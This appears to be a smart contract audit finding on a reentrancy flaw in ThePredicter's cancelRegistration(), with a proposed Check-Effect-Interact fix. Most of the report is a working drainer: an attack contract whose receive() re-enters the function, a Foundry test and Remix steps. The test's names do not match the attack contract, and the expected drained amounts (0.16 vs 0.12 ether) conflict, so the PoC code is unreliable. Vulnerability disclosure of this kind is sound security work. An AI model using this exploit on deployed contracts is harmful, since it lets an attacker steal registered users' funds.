Summary
Reentrancy at ThePredicter::cancelRegistartion()
because the function doesn't implement a CEI (Check-Effect-Interact)
pattern.
Vulnerability Details
Upon finishing registration using register()
and paying the exact fee, players can cancel their registration using cancelRegistration()
or wait for the registration to be approved by the organization. The cancelRegistration()
function doesn't implement a best practice of CEI (Check-Effect-Interact) pattern, which will cause a malicious attacker contract to be able to cut the function upon withdrawing money and make a loop to drain the balance of all registered users.
function cancelRegistration() public {
- if (playersStatus[msg.sender] == Status.Pending) { // check
- (bool success, ) = msg.sender.call{value: entranceFee}(""); // interact
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled; // effect
- return;
- }
revert ThePredicter__NotEligibleForWithdraw();
}
Impact
Balance that is being held by the ThePredicter.sol
can be drained.
Proof-of-Concept (PoC)
Using Foundry
-
Create an Attack Contract on /src/testing/reentrancy.sol
pragma solidity 0.8.20;
import "../ThePredicter.sol";
contract attack{
ThePredicter thePredicter;
constructor(address _target) {
thePredicter = ThePredicter(_target);
}
function testReentrancy() public payable {
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
receive() external payable {
if(address(thePredicter).balance >= 0.04 ether){
thePredicter.cancelRegistration();
}
}
}
-
Modify the test/ThePredicter.test.sol
as follows
function testFor_Reentrancy() public {
vm.startPrank(tester_1);
vm.deal(tester_1, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(tester_2);
vm.deal(tester_2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
vm.stopPrank();
vm.startPrank(tester_reentrancy);
vm.deal(tester_reentrancy, 1 ether);
testreentrancy = new testReentrancy(address(thePredicter));
testreentrancy.attack{value: 0.04 ether}();
vm.stopPrank();
assertEq(address(testreentrancy).balance, 0.16 ether);
}
-
run forge test --mt testFor_Reentrancy -vvvv
Using REMIX
-
Create a Folder on REMIX containing the 2 solidity files (ThePredicter.sol & ScoreBoard.sol)
-
Using the 1st Wallet, deploy the 2 smart contract
-
Using the 2nd & 3rd Wallet, Register with the exact fee (0.04 ether)
-
Using the 1st Wallet, approve the 2nd Wallet Registration so that we have a pending
and a approved
player.
-
Create an Attack Smart Contract for the Reentrancy using this code
pragma solidity 0.8.20;
import "./ThePredicter.sol";
contract attack{
ThePredicter thePredicter;
constructor(address _target) {
thePredicter = ThePredicter(_target);
}
function testReentrancy() public payable {
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
receive() external payable {
if(address(thePredicter).balance >= 0.04 ether){
thePredicter.cancelRegistration();
}
}
}
Provide 0.04 ether and run the testReentrancy()
function
Notice that now the balance of the Attack Smart Contract has 0.12 Ether
Tools Used
Recommendations
It is better to implement the CEI pattern for the cancelRegistration()
function, below is the suggested fix
function cancelRegistration() public {
- if (playersStatus[msg.sender] == Status.Pending) { // check
- (bool success, ) = msg.sender.call{value: entranceFee}(""); // interact
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled; // effect
- return;
- }
+ if (playersStatus[msg.sender] == Status.Pending) { // check
+ playersStatus[msg.sender] = Status.Canceled; // effect
+ (bool success, ) = msg.sender.call{value: entranceFee}(""); // interact
+ require(success, "Failed to withdraw");
+ return;
+ }
revert ThePredicter__NotEligibleForWithdraw();
}